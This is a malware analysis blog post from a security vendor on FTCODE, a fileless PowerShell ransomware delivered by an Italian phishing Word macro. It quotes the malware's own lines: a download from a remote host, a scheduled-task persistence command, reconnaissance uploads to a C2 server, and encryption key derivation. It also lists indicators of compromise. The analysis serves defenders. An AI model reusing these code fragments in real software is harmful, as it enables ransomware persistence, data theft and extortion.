Ransomware Goes Fileless, Uses Malicious Documents and PowerShell to Encrypt Files

In October 2019, we encountered a phishing campaign delivering a malicious Microsoft Word document that distributed ransomware with a twist. Unlike most ransomware families, such as GandCrab, WannaCry and RobinHood, the malware was not compiled code. Instead, it was written in PowerShell, an interpreted language, and run in memory without it being stored directly on disk. Such in-memory threats are sometimes known as “fileless” threats. Earlier this year Microsoft published a taxonomy of fileless threats that we find useful for categorising in-memory malware. For instance, this ransomware sample falls into Type II of that taxonomy because the malware indirectly relies on files stored on disk.

The malware works by launching a remotely hosted PowerShell script in memory to encrypt files with a random file extension. It establishes persistence on an infected system by creating a shortcut (LNK) file in the user’s startup directory that runs a VBScript downloader after each boot. The VBScript is a variant (version=1006.1) of JasperLoader, a lightweight loader that is used to download and run the ransomware. The ransomware is a variant (version=1008.1) of FTCODE, named after the file extension the ransomware used to rename files it had encrypted in earlier versions.

Following a spate of successful ransomware attacks in 2019 against United States municipalities including Baltimore and Lake City, high profile stories of organisations paying ransoms, and the self-proclaimed success of the group behind Gandcrab, the business of ransomware shows no signs of going away.

According to an Federal Bureau of Investigation notice published on 2 October 2019, “Ransomware attacks are becoming more targeted, sophisticated, and costly, even as the overall frequency of attacks remains consistent. Since early 2018, the incidence of broad, indiscriminant ransomware campaigns has sharply declined, but the losses from ransomware attacks have increased significantly.”

Ransomware schemes are marketed as an easy and low risk way to make money in underground forums. Our recent post about Buran ransomware explores how a ransomware-as-a-service scheme operates. In the case of Buran, its developers say they will take a 25% cut of any ransom payments in exchange for a “decoder” used to decrypt victims’ files.

In this blog post, we analyse the techniques used by this script-based ransomware to keep a low footprint and avoid detection by traditional security controls.

File Information

  • File Name: Fattura-2019-864819.doc
  • File Size: 3 MB (3145729 bytes)
  • Classification: Document-Word.Downloader.Cvu
  • MD5: 6EC76CEFB9C668F92F0594CA456F5222
  • SHA1: 0270F80230258CDA5317C18BD00C4F32EAC4857F
  • SHA256: 20C54E830B2C177ED994E6E1FA7D8D4D6458B5AED9989AEC2AFFE7BF867C41B5

What’s Special About 3 MB?

Most Microsoft Word downloaders are small, but this sample turned out to be an outlier in terms of file size. Opening the file in a hex editor quickly explained the reason for its large file size. We found that the document had been padded with null bytes and that the meaningful content of the document was in fact only 76 KB. The padding could be a way to trivially generate a different hash for each malicious document by adding or removing trailing null bytes.

Microsoft Word Downloader

The ransomware arrived as part of a phishing campaign delivering a malicious Word document (.doc).

Figure 1 – Italian document template to trick the user into clicking the “Enable content” button.

The phishing document used to deliver the ransomware was written in Italian, which points to the campaign targeting Italian speakers. The malicious actor tries to trick the user into clicking the “Enable content and Enable Editing” ribbon by claiming that there is a problem with the document.

Figure 2 – Translated content of the document to trick the user into clicking “Enable content and Enable Editing” ribbon.

Document_Open Macro

The Microsoft Word Document in this campaign contains a password-protected Visual Basic for Applications (VBA) Document_Open macro. As the name suggests, this type of macro runs each time the document is opened. One can use the olevba.py tool to extract VBA code from the document. The Document_Open subroutine calls a function called sisfy, which builds a PowerShell command by calling another function, cftbd. This function adds 98 into the decimal number passed as an argument and converts the result into an ASCII character. The cftbd function is called number of times to build a PowerShell command.

Figure 3 – Content of the VBA macro Document_Open embedded in the document.

Clicking “Enable content” leads to the execution of the macro. The macro runs a remote PowerShell command using the .NET assembly module, Net.WebClient. It uses the DownloadString method to download the script from a remote server (). The script is run in memory using the “iex” alias of the Invoke-Expression cmdlet. In also provides two query strings, “need” and “vid”, that specify the desired payload.

Figure 4 – A captured trace for the launch of the PowerShell command invoking a remote script.

The remote PowerShell script is the ransomware and contains the logic to encrypt files and persist on an infected system. It contains the following functionality.

Helper Functions


The ransomware establishes persistence through a scheduled task and by creating a LNK file in the startup folder. The function called uztcgeyhu downloads a remote string from another URL (hxxp://mario.neonhcm[.]com/?need=aegzfej&vid=dpec2&) and saves it as WindowsIndexingService.vbs in C:\Users\Public\Libraries.

$ufihvew = Join-Path $tabxszsv (get-random -minimum 100 -maximum 999999)

The variable $ufihvew generates a random number between 100 and 999999 and joins it with the path $env:Public\Libraries. In this sample, it creates the path C:\Users\Public\Libraries\770527.

$sjfaagvzy.DownloadString(“hxxp://mario.neonhcm[.]com/?need=aegzfej&vid=dpec2&”) | out-file $ufihvew;

The variable $sjfaagvzy is an object of the PowerShell class System.Net.WebClient which then calls the DownloadString method to download data to the location stored in $ufihvew.

After saving the file, the ransomware performs validation checks on the path and size of the content to make sure that it is greater than 5 KB. If successful, it copies 770527 to C:\Users\Public\Libraries\WindowsIndexingService.vbs.

$uxsdcha = (schtasks.exe /create /TN “WindowsApplicationService” /sc DAILY /st 00:00 /f /RI 20 /du 23:59 /TR $jgyijdfsg)

After that it creates a scheduled task called WindowsApplicationService that runs WindowsIndexingService.vbs. The scheduled task is configured to run daily at 00:00 every 20 minutes for 23 hours and 59 minutes.

The ransomware then creates a shortcut file WindowsApplicationService.lnk that sets its target to C:\Users\Public\Libraries\WindowsIndexingService.vbs. The description of the shortcut is “Windows Application Service”.

Figure 5 – Function uztcgeyhu creates a scheduled task and .lnk file in the startup folder to persist.

Communication with Command and Control (C2) Server

The ransomware communicates with a C2 sever, sending information about the system and retrieves a command to run as a response.

$gsvgdcw = $sjfaagvzy.UploadString( “hxxp://connect.hireguards[.]com/”, (“ver=1008.1&vid=dpec2&” + $wdgvgvthgv) );

Function zvbtfyajj uses the UploadString method of System.Net.WebClient to connect with the C2 server at hxxp://connect.hireguards[.]com/. The HTTP POST request sends data as query strings called “version” and “vid” along with the parameter passed to the function. The function then compares the response data with a string (“ok”) and returns true and false accordingly.

Figure 6 – Function zvbtfyajj communicates with C2 server for commands.


The ransomware encrypts files using the Rijndael algorithm. It uses the .NET class System.Security.Cryptography.RijndaelManaged to create a RijndaelManaged object. It initialises the object with an initialisation vector (IV), key, padding and mode.

$iecstygcb.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($wevhgux) )[0..15];

The IV is derived from the hardcoded string “BXCODE INIT”. It first computes a hash of the UTF-8 encoded string using the ComputeHash method of the .NET class Security.Cryptography.SHA1Managed. The hash size of the SHA1Managed algorithm is 160 bits. It then assigns the first 16 bits as the IV.

The encryption key is derived from the key salt which is the hardcoded string “BXCODE hack your system” and a random password.

$jagcwjyiy = get-random -count 50 -input (48..57 + 65..90 + 97..122) | foreach-object -begin { $pass = $null } -process {$pass += [char]$_} -end {$pass};

The variable $jagcwjyiy generates the password for the key. It uses the Get-Random cmdlet and generates 50 random numbers for given input numbers 48 to 57, 65 to 90 and 97 to 122. It then converts these numbers into characters, generating a 50-character long string.

$iecstygcb.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $tbwtcvjh, $ywzvjthf, “SHA1”, 5).GetBytes(32);

To derive the encryption key, the ransomware uses the .NET class Security.Cryptography.PasswordDeriveBytes with a password, key salt, hash algorithm (SHA1) and iteration number (5) as parameters. It then sets 32 bytes of the output as the encryption key. The ransomware sets the “Zeros” padding mode and Cipher Block Chaining (CBC) as the cipher mode for the symmetric algorithm in the RijndaelManaged object.

$ifuhffefwv = new-Object Security.Cryptography.CryptoStream $cgzctus,$baitgbth,”Write”;

Once the encryptor is ready, it uses .NET class Security.Cryptography.CryptoStream to transform any given bytes from a file into an encrypted memory stream.

Figure 7 – Encryptor helper function.

Launches command using Command Shell (cmd.exe)

The ransomware executes commands on the system using a function called wyidyax. The commands are run through a cmd.exe process created using the Start-Process cmdlet. The cmd.exe process is created with the hidden window argument “/c”.

Figure 8 – Helper function to launch commands using cmd.exe.

File Processor: Ransomware’s Main Module

A function named gwytattut is the ransomware’s file processing module that performs the following actions.

1. Establish persistence and generate unique identifier

The ransomware creates a folder called OracleKit in the directory C:\Users\Public, where it stores a globally unique identifier (GUID) and script each time it is run.

2. Check if the system has already been infected to avoid parallel execution of scripts

The ransomware checks if a file called quanto98.tmp exists in the user’s %TEMP% folder. A public report from 3 October 2019 that examined a FTCODE variant states that quanto98.tmp also works as a kill switch. However, we found that in this sample that it does not operate as a kill switch. If the file exists, it uses the New-TimeSpan cmdlet to calculate the difference between the current time and the creation time of quanto98.tmp. If the difference is greater than 30 minutes, then the script exits. Otherwise, it writes the current time into the file using the “sc” alias of the Set-Content cmdlet. This avoids two parallel scripts running at the same time.

Figure 9 – Code that avoid parallel execution of scripts using the content in the file $env:temp + “\quanto98.tmp”

3. Create a new GUID to identify the infected system

The ransomware checks if a file named w00log03.tmp exists in the OracleKit directory.  If it doesn’t exist, the malware creates a GUID using the NewGuid method. If w00log03.tmp exists, the script checks that the length of the content is 36, which corresponds to the length of a valid GUID. If the content length is 36, then it uses the content of the file as its GUID and assigns it to a variable called $bfjixyes. Otherwise, it generates a new GUID and writes it to the file using the Set-Content cmdlet. Once it writes the GUID to the file, it marks the file as hidden using the “gi” alias of the Get-Item cmdlet.

Figure 10 – Creation of a GUID to identify the infected system. The GUID is stored in a hidden file, w00log03.tmp.

4. Create unique extension for encrypted files

$schbzwt = ([string][guid]::NewGuid()).Substring(0,6);

The ransomware uses the first 6 characters of the new GUID as the extension for each encrypted file. Note this GUID is different than the one generated in step three. This way, the ransomware generates a unique extension for every infected system.

5. Upload reconnaissance data to C2 server and check for a commands in response

The ransomware sends information about the infected system as query strings to the C2 server in a HTTP POST request by calling the zvbtfyajj function:

  • ver (Version of FTCODE)
  • vid (Identifier of the payload or script)
  • guid (GUID generated in step three, for example 8af99a27-1610-4b74-8e2e-566ab0db7bf8)
  • ext (Unique extension generated in step four, for example e12207)
  • ek (Unique 50-character password, which is used in the encryptor function, for example 0turJIjTdy87wpYocq3CVRSMlZUeBPODHxFfiXL1vk4NhGgKA2)

As explained above, zvbtfyajj returns true if response data from the C2 server contains the string “ok”, otherwise it returns false. If zvbtfyajj returns false, the script removes the identifier file quanto98.tmp using the “ri” Remove-Item cmdlet and exits. If zvbtfyajj returns true, the script continues and sets the current time as the content of the file quanto98.tmp for timekeeping.

Figure 11 – The ransomware script exits if zvbtfyajj returns false.

In this sample, the script sends the following data to the C2 server:


Figure 12 – HTTP POST request and corresponding response data from the C2 server.

6. Generate customised ransom note

The ransomware uses the variable $dsubate to generate a ransom note. This variable contains a Base64 encoded string.

$dsubate = ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( $dsubate ) ) -replace “%guid%”, $bfjixyes );

The ransomware then decodes the string and replaces “%guid%” with the value of the variable $bfjixyes, which holds the GUID generated in step three.

Figure 13 – The Base64 decoded output of $dsubate, which contains the string %guid%.

7. Delete system backups and volume snapshots

The ransomware then calls a function called wyidyax that runs several commands. These commands delete volume snapshots, backups and disables Windows start-up recovery. One of the commands changes the “bootstatuspolicy” to ignore all errors to avoid Windows failing over into Windows recovery mode.

Figure 14 – Deletion of backup and volume snapshots by the ransomware.

8. Inform C2 server before encrypting files

zvbtfyajj (“guid=$bfjixyes&status=start”);

Once the ransomware has performed all the previous steps, it sends the following data to the C2 server to inform it that the process of encryption is starting.

  • ver
  • vid
  • guid
  • status=start

Unlike in step five, it doesn’t check for response data from the server, meaning that it automatically proceeds with encrypting the files. In this sample, it sent the following data:


Figure 15 – HTTP POST request informing the C2 server that encryption is starting.

9. Encrypt files

$wubvsxdugt = Get-PSDrive|Where-Object {$_.Free -gt 50000}|Sort-Object -Descending;

The ransomware uses the Get-PSDrive cmdlet to iterate through the drives on the system. It only encrypts files on drives that have more than 50,000 KB (~50 MB) in free space. The malware does not encrypt any Registry hives exposed by the PowerShell Registry provider. Additionally, any root directories that matches against following names are skipped to avoid encrypting critical operating system files.

  • windows
  • Temp
  • Recycle
  • Intel
  • OEM
  • Program Files
  • ProgramData

It sorts the drives in descending order and starts fetching files recursively using the “gci” alias of the Get-ChildItem cmdlet.

The ransomware encrypts files that have the following extensions:



The ransomware opens the file in ReadWrite mode and if the file’s size is greater than 40,960 bytes, it fetches the first 40,960 bytes to encrypt. Otherwise, it encrypts the entire contents of the file.

Figure 16 – Selecting buffer length for the encryption

Next, the malware calls the encryptor function to encrypt the buffer and then writes it back to the file. It renames the file by appending the unique extension generated in step four to the file name. Once it has finished encrypting files, the ransomware drops a ransom note called READ_ME_NOW.htm. The content of the file is generated in step six and contains an HTML header.

Figure 17 – Dropped ransom note READ_ME_NOW.htm.

The ransom note directs victims to visit an .onion address reachable over the Tor anonymity network:

  • hxxp://qvo5sd7p5yazwbrgioky7rdu4vslxrcaeruhjr7ztn3t2pihp56ewlqd[.]onion

The ransomware operators demand a ransom payment to the following Bitcoin wallet address:

  • 1BuiseGndyBV8qmeVhdrALuY4mG9v2ydLE

The ransom ranges from 500-25,000 USD, depending on when payment is received. If no payment is received after 30 days, the website claims that the victim’s private key will be deleted, making decryption highly difficult. Since the private key is sent over HTTP in plaintext if the network traffic sent to the C2 server is captured, the files can be unencrypted.

Figure 18 – Decryption website hosted on the Tor network.

As of 15 October, no transactions have been made to the Bitcoin wallet. This suggests that this campaign hasn’t been lucrative for the malicious actor, although they may have used other Bitcoin wallets beyond our visibility.

Figure 19 – Bitcoin wallet as of 15 October 2019.

10. Notify C2 server of job completion

zvbtfyajj (“guid=$bfjixyes&status=done&res=” + $atgtbxwec );

After encrypting all the files, it sends the following data to the C2 server to inform it that encryption has finished:

  • guid
  • status=done
  • res=$atgtbxwec ($atgtbxwec is the number of encrypted files)

If an exception is raised (except for file open, close, or write) during encryption, the ransomware sends the following data to the server to inform it that of the error that occurred. This helps malware authors to understand the environment and modify the scripts accordingly:

  • guid
  • psver (PowerShell Major version, retrieved using the Get-Host cmdlet)
  • error (Base64 encoded exception message)

Figure 20 – Sending the exception message to the C2 server.

Figure 21 – Process interaction graph of the ransomware.

Content of the VBScript Loader

As explained above, the first helper function uztcgeyhu drops a .vbs file to C:\Users\Public\Libraries. The VBS file is obfuscated and builds a Base64 encoded PowerShell command.

Figure 22 – Obfuscated VBScript. The function hxfs builds a Base64 encoded PowerShell command.

Figure 23 – Base64 encoded PowerShell command.

The PowerShell command checks the existence of thumbcache_64.db in C:\Users\Public\Libraries. If it is not found, the script contacts a C2 server (hxxp://cdn.unitycareers[.]com). The following information about the infected system is sent to the C2 server:

  • v=1006.1
  • guid (Different from the one created in step three, for example 1062f9e6-8bcd-4d3a-8a1e-4ff11125345c)
  • status=register
  • ssid (First 16 characters of GUID)
  • os (Operation system version, for example 0.17763.592)
  • psver (Powershell major version, for example 5)
  • comp_name (Computer name)
  • domen (C2 domain, for example hxxp://cdn.unitycareers[.]com/)

When analysing this sample, the C2 server at hxxp://cdn.unitycareers[.]com responded with a 403 Denied message. However, if the connection is successful, the script can download a further payload and execute it using the Invoke-Expression cmdlet. The following Base64 data was sent by this sample:



Figure 24 – HTTP POST request to register with the C2 server, followed by a 403 response.

Figure 25 – Process interaction graph captured during execution of WindowsIndexingService.vbs.


Figure 26 – MITRE ATT&CK techniques observed in this campaign.

Indicators of Compromise


  • hxxp://cdn.unitycareers[.]com
  • hxxp://home.southerntransitions[.]net
  • hxxp://mario.neonhcm[.]com
  • hxxp://qvo5sd7p5yazwbrgioky7rdu4vslxrcaeruhjr7ztn3t2pihp56ewlqd[.]onion

HTTP Header

  • Content-Type: application/x-www-form-urlencoded

SHA256 Hashes

  • 20C54E830B2C177ED994E6E1FA7D8D4D6458B5AED9989AEC2AFFE7BF867C41B5Fattura-2019-864819.doc
  • 06A51D934D31506AADE201B1E0E16098948844F07EC67AE666872CFE3B30C1A0 WindowsIndexingService.vbs

Bitcoin Wallet

  • 1BuiseGndyBV8qmeVhdrALuY4mG9v2ydLE

The post Ransomware Goes Fileless, Uses Malicious Documents and PowerShell to Encrypt Files appeared first on Bromium.

*** This is a Security Bloggers Network syndicated blog from Bromium authored by Ratnesh Pandey. Read the original post at: https://www.bromium.com/ransomware-goes-fileless-uses-malicious-documents-and-powershell-to-encrypt-files/